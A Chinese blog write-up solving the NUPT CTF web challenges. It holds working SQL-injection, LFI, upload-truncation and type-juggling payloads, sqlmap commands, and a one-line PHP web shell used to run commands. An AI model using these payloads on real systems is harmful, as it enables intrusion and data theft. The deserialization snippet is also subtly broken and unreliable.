南郵ctf-web題解


南郵ctf-web題解

今年有空搞搞ctf,看看能從這個南郵的訓練題學到點東西不。

題目地址:https://cgctf.nuptsast.com/challenges#Web

簽到題

直接右鍵查看源碼即可getflag

md5 collision

源碼

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

此處利用的是php弱類型的特點,== 在進行比較的時候,會先將字符串類型轉化成相同,再比較,例如"admin"0 比較的時候,會將admin轉化成數值,強制轉化,由於admin是字符串,轉化的結果為0。"1admin"1 比較的時候會將1admin轉化成數值,結果為1,而“admin1“1 卻等於錯誤,也就是"admin1"被轉化成了0。
"0e123456"
"0e456789"相互比較的時候,會將0e這類字符串識別為科學技術法的數字,0的無論多少次方都是零,所以相等。

當一個字符串欸當作一個數值來取值,其結果和類型如下:如果該字符串沒有包含'.','e','E'並且其數值值在整形的范圍之內
該字符串被當作int來取值,其他所有情況下都被作為float來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。

0e開頭的md5字符串:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

所以可以直接通過如下payload得到flag:

http://chinalover.sinaapp.com/web19/?a=s878926199a

簽到2

直接修改maxlength="99999",然后輸入zhimakaimen,即可getflag:

這題不是WEB

題目描述:真的,你要相信我!這題不是WEB

直接將頁面的2.gif圖片下載,然后使用winhex打開,搜索ctf即可得到flag:

層層遞進

<iframe>標簽中跟着鏈接依次訪問嵌套的SO.html -> S0.html->SO.htm ->S0.htm->404.html ,在404.html注釋中找到flag

AAencode

題目提示:javascript aaencode

打開以后亂碼,使用火狐瀏覽器的Unicode編碼(f10>查看>文字編碼>unicode)即可恢復頁面。

直接丟進控制台執行即可得到flag:

nctf{javascript_aaencode}

單身二十年

題目提示:這題可以靠技術也可以靠手速!老夫單身二十年,自然靠的是手速!

直接使用burpsuite攔截包,然后發送即可getflag。

php decode

題目給出如下代碼:

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

因為CLsI()函數返回的是一串字符串,而eval()函數是執行函數,所以將eval改為echo即可。

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

文件包含

tips: 沒錯 這就是傳說中的LFI

可以使用如下payload直接讀取index.php的源碼即可,得到index.php的源碼(此源碼進過base64加密過了)

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

直接使用python解密即可:

import base64


str = "base64的值"
plantext = base64.b64decode(str).decode('utf-8')
print(plantext)

即可成功得到flag:

關於php的偽協議的應用推薦三篇文章:

http://www.4o4notfound.org/index.php/archives/31/

https://www.cnblogs.com/LittleHann/p/3665062.html

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

單身一百年也沒用

題目描述:是的。。這一題你單身一百年也沒用

flag藏在返回包中,過於簡單:

Download~!

題目描述:想下啥就下啥~別下音樂,不騙你,試試下載其他東西~

此題目無法訪問。

題目提示:COOKIE就是甜餅的意思~

TIP: 0==not

將cookie中的login=0改為login=1即可成功getflag

MYSQL

題目提示:不能每一題都這么簡單嘛 你說是不是?

根據提示查看robots.txt

別太開心,flag不在這,這個文件的用途你看完了?
在CTF比賽中,這個文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

根據提示信息,我們需要以get方式向sql.php提交一個id,使得intval($_GET[id])為1024而$_GET[id]==1024為假。

方式1:傳入id=1024.1,intval()函數會把1024.1取整為1024

方式2:利用intval()函數的特性:只識別到非數字的那一位,而松散比較的強制類型轉換會把e當作科學記數法的一部分處理,即科傳入id=1024e1

GBK Injection

根據標題,明顯是寬字節注入,下面簡單介紹手工注入和sqlmap寬字節注入的兩種方式:

手工注入:

#判斷列
1, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 2--+
#判斷回顯字段
2, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2--+
#查詢當前數據庫
3, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
#查詢所有數據庫
4, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(schema_name) from information_schema.schemata--+
#查詢當前數據庫下的所有表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#查詢ctf4表下的字段名,此處ctf4轉換為了16進制(ASCii->hex可以使用bp自帶編碼)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634--+
#獲取flag字段的值:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from `sae-chinalover`.ctf4--+
#由於再當前庫,也可以直接指定表明即可:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from ctf4--+

sqlmap注入

方式1:

#使用--tamper=unmagicquotes
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1" --tamper=unmagicquotes -D sae-chinalover -T ctf4 -C flag --dump --hex

/x00

題目描述:題目有多種解法,你能想出來幾種?

題目源碼:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }

此題利用的是ereg函數和strpos的漏洞。

ereg函數漏洞:

1,遇到%00則默認字符串結束

2,碰到參數是數組的返回為null,null不等於false

strpos函數漏洞

strpos函數也是只解析string類型的字符串,給他個數組就不知道如何解析,於是就返回為null。Null不等於false

推薦文章:https://blog.51cto.com/12332766/2149184

所以綜上所述,此題解法有兩種,給出payload:

payload1:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

payload2:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

bypass again

題目描述:依舊是弱類型

題目源碼:

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

此題的解法依舊有兩種:

payload1:

http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2

payload2:

http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

變量覆蓋

題目描述:聽說過變量覆蓋么?

題目關鍵代碼:

<?php

if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
    extract($_POST);
    if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php
        echo $theflag; ?></code>
                            </div>
                        <?php
    } ?>
                    <?php
} ?>

extract()函數存在變量覆蓋漏洞,可以直接post兩個參數,pass和thepassword_123並且使得其值都相等即可。

PHP是世界上最好的語言

題目描述:聽說PHP是世界上最好的語言

鏈接掛了

參考網上的wp:

index.php主要源代碼:

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}

eregi()函數判斷id是否為hackerDJ,大小寫敏感。網頁會拒絕任何含有hackerDJ的提交(忽略大小寫),但接受urldecode后為hackerDJ的字符串。

因為url在傳入后台時會自動先進行一次url解碼,所以這里需要二次編碼

hackerDJurl編碼后為%68%61%63%6b%65%72%44%4a

二次編碼后為%2568%2561%2563%256b%2565%2572%2544%254a

其中%25是%的url編碼。

偽裝者

題目描述:這是一個到處都有着偽裝的世界

服務端代碼錯了。此題考察的是ip偽造,ip偽造常用方法:

X-Forwarded-For:
X-Forwarded-Host:
X-Client-IP:
X-remote-IP:
X-remote-addr:
True-Client-IP:
X-Client-IP:
Client-IP:
X-Real-IP:

題目提示: 頭啊!!頭啊!!!

鏈接掛了。

上傳繞過

題目提示: 猜猜代碼怎么寫的

1.文件系統0x00截斷

在上傳的時候,當文件系統讀到【0x00】時,會認為文件已經結束。利用00截斷就是利用程序員在寫程序時對文件的上傳路徑過濾不嚴格,產生0x00上傳截斷漏洞。通過抓包截斷將【evil.php.jpg】后面的一個【.】換成【0x00】。在上傳的時候,當文件系統讀到【0x00】時,會認為文件已經結束,從而將【evil.php.jpg】的內容寫入到【evil.php】中,從而達到攻擊的目的。 (0x00是16進制值,不可見。)

繞過姿勢:首先在如下圖將/upload/修改為/upload/1.php+

然后在16進制編輯器中,找到該位置的2b修改為00:如下圖:

然后發送該包,即可成功getflag。

SQL注入1

題目描述:聽說你也會注入?

題目源碼:

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

此題考察簡單的sql注入漏洞,直接使用如下payload即可成功getflag:

post:

user=admin')#

pass=admin

pass check

題目源碼:

$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

此題考察的是strcmp函數的漏洞:

函數介紹:

定義用法:
Strcmp(string1,string2)函數比較兩個字符串
返回值:
0 - 如果兩個字符串相等
<0 - 如果 string1 小於 string2 
>0 - 如果 string1 大於 string2

漏洞點:

處理數組的時候返回null
傳遞數組的時候,函數沒有辦法比較數組,返回null,php語言本身就是弱類型的語言,null不等於0

所以此題可以直接post如下參數getflag:pass[]=0

起名字真難

源碼:

<?php
function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {   
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
               {
                       return false;
               }
       }
          return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

此題需要使得key的值不為1-9之間的數字,但是又要求其值等於54975581388,將其十進制值轉換為十六進制剛好為:ccccccccc,因此直接傳入key=0xccccccccc即可成功getflag:

密碼重置

題目描述:重置管理員賬號:admin 的密碼,你在點擊忘記密碼之后 你的郵箱收到了一封重置密碼的郵件

打開url發現user1的參數是經過base64編碼的,解密為ctfuser,我們只需要把admin經過base64編碼,然后傳給user1,在將input標簽的readonly屬性去掉,即可將ctfuser用戶修改為admin用戶,成功修改admin用戶的密碼,即可成功getflag:

php 反序列化(暫時無法做)

題目源碼:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
    
    $o = unserialize($pass);
    
    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
?>

構造payload:

<?php
class just4fun {
    var $enter;
    var $secret;
}
$a =new just4fun();
$f->enter=&$f->secret;
$sf = serialize($f);
echo $sf;
?>

輸出如下:

O:8:"stdClass":2:{s:6:"secret";N;s:5:"enter";R:2;}

直接將上述payload賦值給pass即可getflag。

SQL Injection

題目描述:繼續注入吧! TIP:反斜杠可以用來轉義 仔細查看相關函數的用法

主要源碼:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;
-->

可以采用如下閉合方式:

SELECT * FROM users WHERE name=' username ' AND pass=' password ';

即使得

username=\

password=or 1=1--+

最后拼接結果:

SELECT * FROM users WHERE name=' \' AND pass=' or 1=1--+ ';

即使用反斜杠將單引號轉義,使得name= \' AND pass=,則可以成功注入。

即最終payload如下:

http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1--+

綜合題

1,首先打開url得到一串jsfuck編碼的字符串如下:

2,直接復制到控制台執行即可,得到如下字符串:

3,訪問該php文件:

4,得到提示,tip在header中,查看header,發現tip:history of bash

通常在用戶的目錄下面有一個.bash_history文件,該文件記錄着用戶的歷史命令,我們可以通過dirsearch掃描發現該敏感文件,也可以直接訪問該文件即可:

5,訪問該文件,得到如下信息,即用戶曾經進行過flag的備份:zip -r flagbak.zip ./*

6,直接下載flagbak.zip文件,即可得到flag.txt。

SQL注入2

題目提示:注入第二題~~主要考察union查詢

題目源碼:

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

使用union select 進行注入:

#另該語句將會使得v01cano的md5值賦值給pw,即5717445c83e6944fa37ab2f19616e033是v01cano的md5。
user=v01cano' union select '5717445c83e6944fa37ab2f19616e033'#&pass=v01cano

綜合題2

首先查看源碼,訪問:http://cms.nuptzj.cn/about.php?file=sm.txt

發現此處的文件讀取漏洞:使用php偽協議讀取文件源碼:

payload如下:

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php

寫了個簡易的腳本,將index.php,about.php等php文件讀取,並且報存。

import requests
from bs4 import BeautifulSoup
import bs4
import base64

download = ["about.php", "index.php", "so.php", "preview.php", "antiinject.php"]
def gethtml(url):
    try:
        res = requests.get(url)
        if res.status_code == 200:
            res.encoding = res.apparent_encoding
            return res.text
        else:
            return None
    except:
        return None

def parsehtml(html):
    try:
        soup = BeautifulSoup(html, 'lxml')
        if isinstance(soup.select('body')[0], bs4.element.Tag):
            str = soup.select('body')[0].string
            str1 = base64.b64decode(str).decode('utf-8')
            return str1
        else:
            return None
    except:
        return None



if __name__ == '__main__':
    for i in range(0, len(download)):
        html = gethtml("http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource={}".format(download[i]))
        with open(download[i], 'a') as f:
            if parsehtml(html)== None:
                print(html, "文件為空")
            else:
                f.write(parsehtml(html))

然后觀察各個文件,從about.php文件中觀察到后台登錄目錄:loginxlcteam

直接訪問即可:

http://cms.nuptzj.cn/loginxlcteam/index.php

觀察到so.php存在sql注入漏洞:

so.php代碼如下:

<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

發現id參數經過了antiinject.php中的antiinject函數過濾。

查看antiinject.php內容:

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

發現空格,union,select等關鍵字都被地換成空了,不過此處關鍵字可以通過雙寫繞過,例如將union變為ununionion,空格可以通過注釋繞過/**/

此處還需要記得將User-Agent修改為Xlcteam Browser,即可對soid參數進行注入:

此題需要同時繞過空格過濾和關鍵字過濾。本可以使用腳本:

nonrecursivereplacement.py:
關鍵字雙寫,可用於關鍵字過濾
space2comment.py:
用 /**/ 替代空格,用於空格的繞過

使用如下腳本無法進行注入:原因:sqlmap不能同時使用多個tamper進行替換,tamper有一個優先級的問題,例如如下兩個tampper,nonrecursivereplacement的優先級為PRIORITY.NORMAL,space2comment的優先級為:PRIORITY.LOW
即:nonrecursivereplacement優先級高於space2comment,優先執行,執行完成后,再嘗試space2comment腳本,而無法實現同時替換空格和雙寫。故如下腳本無法成功執行。
python2 sqlmap.py -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --tamper="space2comment,nonrecursivereplacement" --user-agent="Xlcteam Browser" --dbs --dbms=mysql

手工注入代碼如下:

1,首先猜測字段數:

有查詢結果
soid=1/**/oorrdoorrderer/**/by/**/4
無查詢結果
soid=1/**/oorrdoorrderer/**/by/**/5
猜測字段數為4

2,判斷回顯位置:

soid=100/**/uunionnion/**/seselectlect/**/1,2,3,4

得出回顯字段為2和3,返回結果如下:

在這里插入圖片描述

3,爆出當前數據庫為:sae-exploitblog

soid=100/**/uunionnion/**/seselectlect/**/1,2,database(),4

在這里插入圖片描述

4,最后使用注入語句注入出用戶名和密碼:

soid=100/**/uunionnion/**/seselectlect/**/1,(seleselectct/**/usernanameme/**/frofromm/**/adadminmin),(seleselectct/**/userpapassss/**/frofromm/**/adadminmin),4

在這里插入圖片描述

5,得到經過加密了的密碼:102 117 99 107 114 117 110 116 117

6,回頭看看提示:

http://cms.nuptzj.cn/about.php?file=sm.txt

發現passencode.php文件提示:讀取該文件:

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=passencode.php

代碼如下:

<?php
function passencode($content) {
	//$pass=urlencode($content);
	$array=str_split($content);
	$pass="";
	for ($i=0;$i<count($array);$i++) {
		if($pass!="") {
			$pass=$pass." ".(string)ord($array[$i]);
		} else {
			$pass=(string)ord($array[$i]);
		}
	}
	return $pass;
}

根據代碼寫出解密腳本如下:

str = '102 117 99 107 114 117 110 116 117'
array = str.split(' ')
password = ""
for i in range(0, len(array)):
    password = password + chr(int(array[i]))
print(password)

得出密碼為:fuckruntu

7,使用用戶名admin和密碼fuckruntu登錄該系統

8,得到提示,在文件根目錄下面存在小馬:xlcteam.php

利用文件讀取漏洞將其讀出:

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php

得到源碼如下:

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '/.*/e',);
array_walk($arr, $e, '');
?>

9,利用一句話小馬執行命令,得到flag:

url:
http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post:
wtf=print_r(scandir('./'))

在這里插入圖片描述

10,直接訪問恭喜你獲得flag2.txt即可成功得到flag:

在這里插入圖片描述

下面自己寫個腳本:

http://codeqi.top/2018/06/01/南郵攻防訓練平台Writeup/

https://rmb122.com/2018/05/18/nctf-writeup/

https://pengyang.me/2018/08/19/nctfzh2/

https://foxgrin.github.io/posts/7108/#SQL注入1

https://www.smi1e.top/sqlmap-tamper編寫/

密碼重置2

題目提示:題題被秒,當時我就不樂意了! 本題來源於CUMT

TIPS:
1.管理員郵箱觀察一下就可以找到
2.linux下一般使用vi編輯器,並且異常退出會留下備份文件
3.弱類型bypass

1,根據提示1,查看源碼即可發現管理員郵箱:admin@nuptzj.cn

2,根據提示2,可以獲得.submit.php.swp文件,文件內容如下:

........這一行是省略的代碼........

/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構

--
-- 表的結構 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 轉存表中的數據 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/


........這一行是省略的代碼........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失敗了呀";
	}
}

3,得到flag需要使得token的長度為10並且token等於0,有兩種繞過方式,第一種就是根據提示3,利用php弱類型的特點,在進行強制類型轉換時候會將0e開頭的數字串當作科學計數法,0的任何次方依舊是0,所以傳值token=0e99999999即可繞過。也可以傳值token=0000000000進行繞過。

file_get_contents

題目主要代碼:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    echo $nctf;
}-->

直接給出payload:

http://chinalover.sinaapp.com/web23/index.php?file=php://input

post:
meizijiu

這題使用bp提交沒有用,我也不知道為啥,用postman提交就ok。

變量覆蓋

題目提示:變量覆蓋,代碼審計類題目

源碼:

<!--foreach($_GET as $key => $value){  
        $$key = $value;  
}  
if($name == "meizijiu233"){
    echo $flag;
}-->

直接賦值即可getflag:

name=meizijiu233

此題考察變量覆蓋漏洞,首先將name取出,賦值給\(key,則\)\(key=\)name,

將meizijiu233的值取出,賦值給\(value,然后\)\(key=\)value即可成功將使得$name=meizijiu223即可得到flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM